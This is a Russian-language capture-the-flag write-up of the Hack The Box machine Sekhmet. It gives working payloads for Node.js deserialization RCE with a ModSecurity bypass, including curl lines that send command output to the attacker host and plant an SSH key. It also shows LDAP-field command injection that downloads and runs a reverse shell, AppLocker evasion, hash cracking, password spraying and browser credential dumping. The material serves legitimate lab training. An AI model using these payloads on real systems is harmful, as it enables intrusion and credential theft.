Хакер - HTB Sekhmet. Обходим ModSecurity и атакуем Active Directory
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Node.js RCE + байпас ModSecurity
- Продвижение WEBSERVER.windcorp.htb
- Zip decrypt
- Повышение привилегий WEBSERVER.windcorp.htb
- Разведка в сети windcorp.htb
- HOPE.windcorp.htb
- Продвижение HOPE.windcorp.htb
- Повышение привилегий HOPE.windcorp.htb
В этом райтапе я покажу, как эксплуатировать уязвимость при десериализации Node.js с обходом ModSecurity. Затем взломаем ZIP-архив и благодаря Kerberos повысим привилегии на первом хосте. После этого захватим контроллер домена, проэксплуатировав RCE.
Все это — в рамках прохождения тренировочной машины Sekhmet с площадки Hack The Box. Ее уровень сложности — «безумный».
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Первым делом добавляем IP-адрес машины в /etc/hosts:
10.10.11.179 sekhmet.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Видим два открытых порта: 22 — служба OpenSSH 8.4p1 и 80 — веб‑сервер Nginx 1.18.0. При обращении к веб‑серверу сразу выполняется редирект на другой домен.

Добавляем его в файл /etc/hosts и снова обращаемся к сайту.
10.10.11.179 sekhmet.htb windcorp.htb

ТОЧКА ВХОДА
На сайте ничего интересного не находим. Но, учитывая, что мы нашли реальное доменное имя, есть смысл просканировать поддомены. Я это делаю с помощью сканера ffuf.
Справка: сканирование веба c ffuf
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
-w— словарь (я использую словари из набора SecLists);-t— количество потоков;-u— URL;-r— выполнять редиректы;-fs— фильтровать страницы по размеру;-fc— исключить из результата ответы с кодом 403.
Место перебора помечается словом FUZZ.
Получается вот такая команда:
ffuf -u 'http://windcorp.htb/' -H 'Host: FUZZ.windcorp.htb' -w subdomains-top1million-110000.txt -t 256 -fs 153

В итоге находим еще один сайт и добавляем его в файл /etc/hosts.
10.10.11.179 sekhmet.htb windcorp.htb portal.windcorp.htb

Следующее действие при изучении сайта — поиск скрытых каталогов и страниц. Я снова попробовал использовать ffuf, но это не дало результатов, так как, скорее всего, проверяются заголовки. Чтобы не мучиться с ними, я стал сканировать при помощи Burp Intruder.

И снова ничего интересного. У нас осталась только форма авторизации, поэтому попробуем ее обойти. Насколько велико было мое удивление, когда получилось авторизоваться с логином и паролем admin:admin!

Затем мое внимание привлекли cookie пользователя. Оказалось, что это закодированные в Base64 данные в формате JSON. В целом по виду cookie очень похоже, что используется Node.js. И мы можем утверждать, что на стороне сервера происходит десериализация и использование этих данных.

Попробуем поискать подходящие уязвимости. Я без труда нагуглил статью Exploiting Node.js deserialization bug for Remote Code Execution, где описано, как выявить и проэксплуатировать уязвимость при десериализации данных в Node.js. Я собрал и закодировал нагрузку, следуя рекомендациям из статьи, но мой запрос был заблокирован.

В тексте страницы находим упоминание ModSecurity, который и блокирует нам доступ.

Это очередное звено цепочки, продолжаем разбираться с сайтом и вникнем в Node.js более подробно.
ТОЧКА ОПОРЫ
Node.js RCE + байпас ModSecurity
ModSecurity — это WAF с открытым исходным кодом. Именно ModSecurity не дает нам подобраться к приложению. Но иногда и в самих WAF находят уязвимости. Так, быстрый поиск в Google вывел меня на статью, где рассказано о CVE-2019-19886, позволяющей обойти ModSecurity. Удалось даже найти целый PoC для этой уязвимости. Ее смысл заключается в том, что мы используем ошибку в парсере ModSecurity и как бы прячем нагрузку, передавая cookie param=payload следующим образом:
param=payload=real_value
Тогда приложение распарсит куки как param:payload, а WAF — как param:payload=value, что позволит миновать фильтры.
Для эксплуатации RCE в Node.js нам нужно передать нагрузку через параметр username в следующей конструкции:
{"username":"_$$ND_FUNC$$_function(){}()"}
Затем закодируем ее в Base64 и вставим в cookie как profile=payload=value.
Первым делом откроем листенер nc -nlvp 80 и попробуем выполнить запрос на свой сервер через curl:
{"username":"_$$ND_FUNC$$_function(){require("child_process").exec("curl http://10.10.14.29", function(error, stdout, stderr){});}()"}'



В итоге на наш листенер пришел запрос, а это значит, что мы добились RCE. Выполнить реверс‑шелл не получилось, поэтому попробуем записать ключ SSH. Нам нужно знать имя пользователя, которого мы используем для выполнения команд. Его можно эксфильтровать, закодировав в Base64 результат выполнения команды id и вставив его как URI.
{"username":"_$$ND_FUNC$$_function(){ require("child_process").exec("curl http://10.10.14.29/$(id|base64 -w0)", function(error, stdout, stderr){});}()"}


Так мы получаем имя текущего пользователя. Теперь узнаем, имеет ли он доступ к командной оболочке, для чего получим запись из файла /etc/passwd.
{"username":"_$$ND_FUNC$$_function(){ require("child_process").exec("curl http://10.10.14.29/$(cat /etc/passwd| grep webster|base64 -w0)", function(error, stdout, stderr){});}()"}

Пользователь имеет командную оболочку, теперь можем записывать ключ SSH. Для этого сгенерируем пару ключей с помощью ssh-keygen и запустим в каталоге с ключами веб‑сервер Python 3:
python3 -m http.server 80
Затем скачаем ключ и запишем в файл authorized_keys.
{"username":"_$$ND_FUNC$$_function(){require("child_process").exec("curl http://10.10.14.29/id_rsa.pub > ~/.ssh/authorized_keys", function(error, stdout, stderr){});}()"}
Как только в логах веб‑сервера увидим обращение к публичному ключу, можно авторизоваться по SSH.

ПРОДВИЖЕНИЕ WEBSERVER.WINDCORP.HTB
В домашнем каталоге пользователя находим бэкап, который скачиваем на локальную машину.
scp -i id_rsa webster@10.10.11.179:~/backup.zip ./

Видим несколько интересных файлов, но архив защищен паролем, при этом просмотр списка файлов разрешен. Схема с получением хеша и его дальнейшим перебором у таких архивов не сработает, но можно провести атаку на основе известного открытого текста.
Zip decrypt
Для такой атаки нужен известный нам файл, который также есть в архиве. Я выбрал файл /etc/passwd. Его нужно заархивировать — тоже с паролем (я выбрал passwd) — и скачать на локальную машину. Когда все будет готово, мы можем воспользоваться утилитой bkcrack. Первом делом получим ключ, для чего укажем целевой архив (параметр -C), известный файл (параметр -с), наш архив (параметр -P) и пароль от него (параметр -p).
./bkcrack -C backup.zip -c etc/passwd -P passwd.zip -p passwd

А теперь устанавливаем на архив новый пароль.
./bkcrack -C backup.zip -U new.zip new -k d6829d8d 8514ff97 afc3f825

Теперь открываем new.zip с паролем new и выбираем интересные файлы, например файлы кеша Kerberos.

А теперь выбираем из файлов все строки и находим учетные данные в файле cache_windcorp.htb.ldb.


Теперь узнаем режим для перебора хеша. Это можно сделать, поискав маркер в справке hashcat.
hashcat --example | grep '\$6\$' -A2 -B2

Таким образом, это хеш SHA-512, для которого нужно указывать режим 1800 (параметр -m).
hashcat -a 0 -m 1800 ray.hash rockyou.txt

Получаем пароль, с которым успешно авторизуемся на хосте по SSH.
ПОВЫШЕНИЕ ПРИВИЛЕГИЙ WEBSERVER.WINDCORP.HTB
Теперь, когда мы получили доступ к хосту, нам необходимо собрать информацию. Я для этого обычно использую скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Загрузим и выполним скрипт для Linux и с его помощью найдем адрес еще одной машины в сети, а также узнаем, что наш хост находится в домене.


Так как мы в домене, попробуем получить и кешировать билет TGT для нашего пользователя с помощью команды kinit. А затем проверим, можно ли получить привилегированный контекст с помощью ksu (аналог обычного su для Kerberos).

Этот пользователь может изменить контекст безопасности и получить высокие привилегии на хосте. Забираем первый пользовательский флаг.

РАЗВЕДКА В СЕТИ WINDCORP.HTB
Ранее мы нашли хост windcorp.htb. Нужно его просканировать; скорее всего, это контроллер домена. Я загрузил на хост статически собранный Nmap и запустил сканирование портов.
nmap -p- 192.168.0.2

Доступен Kerberos, но запрещен RPC, поэтому для дальнейшей работы получим билет уже известного нам пользователя ray.duncan. Чтобы мы могли работать с контроллером домена напрямую со своей машины, нужно прокинуть трафик через промежуточный хост. Для этого можно использовать стандартный SSH. Копируем ключ SSH руту, а затем указываем при подключении параметр -D, который скажет создать SOCKS-туннель.
ssh -i id_rsa root@10.10.11.179 -D 1080
Затем в файле /etc/proxychains.conf создадим запись для созданного туннеля.
socks5 127.0.0.1 1080
А теперь сделаем TGS-билет Kerberos для нашего пользователя, чтобы просмотреть доступные общие каталоги. Для этого будем использовать скрипт getST из пакета скриптов impacket.
proxychains -q impacket-getST -dc-ip 192.168.0.2 -spn cifs/hope.windcorp.htb windcorp.htb/ray.duncan:pantera

Экспортируем билет в локальное окружение и подключаемся к службе SMB.
export KRB5CCNAME=ray.duncan.ccache
proxychains -q impacket-smbclient ray.duncan@hope.windcorp.htb -k -no-pass

Среди этих каталогов наиболее интересен пользовательский WC-Share.

Файл в этом каталоге содержит маленький список пользователей и какие‑то числа.

Не получив ничего больше, я решил пройтись по LDAP, но перед этим нужно проверить, доступна ли аутентификация через Kerberos. Эту работу я проводил с промежуточного хоста, так как Kerberos там уже настроен.
ldapsearch -x -LLL -b "" -s base supportedSASLMechanisms -H ldap:/windcorp.htb | grep GSSAPI

Среди поддерживаемых механизмов аутентификации есть GSSAPI. Проверим это, узнав свой рабочий контекст при аутентификации Kerberos для LDAP.
ldapwhoami -Y GSSAPI -H ldap://windcorp.htb

Все подтвердилось, и мы успешно авторизовались как текущий пользователь. Теперь собираем все, что нам даст LDAP, и сохраняем в файл.
ldapsearch -LLLY GSSAPI -b 'DC=windcorp,DC=htb' -H ldap://windcorp.htb > scan.txt

Просматривая информацию о текущем пользователе, я обратил внимание на его номер телефона, который был записан в файл debug-users.txt вместе с именем пользователя.

Вернувшись к общему каталогу, обратим внимание на то, что файл обновляется каждые две минуты.

Возможно, на хосте работает скрипт, который получает записи из LDAP и записывает в файл. Попробуем выполнить инъекцию команды ОС.
HOPE.WINDCORP.HTB
Выполним запрос на свой хост и проверим предположение о внедрении команды. Сперва создадим файл с правилом замены. Укажем в нем идентификатор, действие, поле и новое значение.
dn: CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb
changetype: modify
replace: mobile
mobile: ;wget http://10.10.14.173/file -O c:\wc-share\file;
Теперь изменим номер в базе LDAP, указав файл с созданным правилом.
ldapmodify -Y GSSAPI -H ldap://windcorp.htb -D "CN=Ray Duncan,OU=Development,DC=windcorp,DC=htb" -f new.rec

Спустя минуту в логах веб‑сервера Python 3 видим пришедший запрос, а в общем каталоге на сервере появился наш файл.


Выполнить реверс‑шелл на PowerShell не выйдет, так как размер поля ограничен и шелл просто не поместится в него. Тогда я решил эксфильтровать результат выполнения команды через файл. Изменим нашу запись, чтобы она выполняла команду whoami и записывала результат в файл.
mobile: ;whoami > c:\wc-share\r.txt

Таким образом команда выполнилась. Но скрипты, которые я загрузил, не работали. Тогда я решил взглянуть на политики AppLocker.
mobile: ;Get-AppLockerPolicy -Effective -Xml > c:\wc-share\r.txt

Политики для скриптов и исполняемых файлов одинаковы и разрешают выполнение файлов из каталога C:\Windows\ и всех его вложенных каталогов, за исключением перечисленных. Изучив записи, можно заметить, что в исключении не указан каталог C:\Windows\debug\wia\. Тогда я решил собрать реверс‑шелл самостоятельно. Для этого можно использовать удобный онлайновый генератор реверс‑шеллов. Указываем параметры, такие как локальные хост и порт, а также язык (я выбрал C#) и целевую систему.

Собираем файл и загружаем в указанный каталог.
mobile: ;wget http://10.10.14.3/ca.exe -O c:\windows\debug\wia\ca.exe;
После того как на наш веб‑сервер пришел запрос, открываем листенер и выполняем скачанный файл.
mobile: ;c:\windows\debug\wia\ca.exe;

Сессия появилась, сразу проверяем контекст работы, запросив всю информацию о пользователе.

ПРОДВИЖЕНИЕ HOPE.WINDCORP.HTB
Займемся базовой разведкой, есть выбор: можно использовать скрипты на PowerShell вроде PowerUp, знаменитый WinPEAS или более специализированный Seatbelt. Я использовал Seatbelt, для чего уже собранную версию из репозитория загрузил на хост.
Сперва запускаем скрипт с параметром -group=system, чтобы перебрать системные настройки.

Как видишь, на хосте активирована аутентификация NTLM, поэтому мы можем обратиться к собственному ресурсу и получить NetNTLMv2-хеш пароля пользователя, так как он по умолчанию попытается авторизоваться. Возьмем с GitHub скомпилированный исполняемый файл impacket smbserver и загрузим на удаленный хост Linux. Затем развернем простой сервер SMB.
./smbserver_linux_x86_64 -smb2support asd .
Когда все будет готово, останется только обратиться к общему ресурсу. В логах сервера увидим учетные данные, использованные при подключении.
dir \\webserver.windcorp.htb\asd\

Пароли такого типа можно подобрать очень быстро. Я для этого использую hashcat.
hashcat -m 5600 ntlm.hash rockyou.txt

Так мы получаем пароль пользователя scriptrunner. Нужно обязательно проверить, не используют ли этот пароль другие учетные записи и пользователи. У нас уже есть база LDAP, отфильтруем имена пользователей и направим в отдельный файл.
cat scan.txt | grep -i samaccountname | grep -v '\$' | cut -d ' ' -f 2 > users.txt
А теперь спреим пароль по всем пользователям из файла с помощью kerbrute.
./kerbrute_linux_amd64 passwordspray -d windcorp.htb ./users.txt '!@p%i&J#iNNo1T2'

Мы нашли еще одного пользователя. Давай получим шелл от его имени стандартным способом через New-PSSessions. Будем запускать наш исполняемый файл, поэтому предварительно не забываем запустить еще один листенер на том же порте.
$pass = ConvertTo-SecureString '!@p%i&J#iNNo1T2' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('Bob.Wood', $pass)
$session = New-PSSession -Credential $creds
Invoke-Command -Session $session -scriptblock { c:\windows\debug\wia\ca.exe }

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ HOPE.WINDCORP.HTB
Мы зашли от имени другого пользователя, но нет смысла снова проверять все возможности повышения привилегий. Можно проверить только параметры, специфичные для отдельного пользователя. В Seatbelt используем параметр -group=misc. В поле ChromeHistory будет история запросов пользователя из браузера.

Чтобы «распотрошить» любой браузер на полезные для атакующего данные, можно использовать написанную на Go утилиту HackBrowserData. Загружаем исполняемый файл на удаленный хост и запускаем.

HBD обнаружил и экспортировал все данные из браузера Edge. Первым делом нас интересуют сохраненные учетные данные.

Список пользователей у нас есть, теперь получаем еще и пароли. Спреим полученные пароли по всем пользователям.
kerbrute_linux_amd64 passwordspray -d windcorp.htb ./users.txt 'smeT-Worg-wer-m024'

В итоге получаем учетные данные еще одного пользователя (при этом с припиской adm). Конечно, создаем реверс‑шелл в его контексте.
$pass = ConvertTo-SecureString 'smeT-Worg-wer-m024' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('bob.woodadm', $pass)
$session = New-PSSession -Credential $creds
Invoke-Command -Session $session -scriptblock { c:\windows\debug\wia\ca.exe }

Как можно заметить, пользователь входит в группу администраторов домена. Забираем флаг рута.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei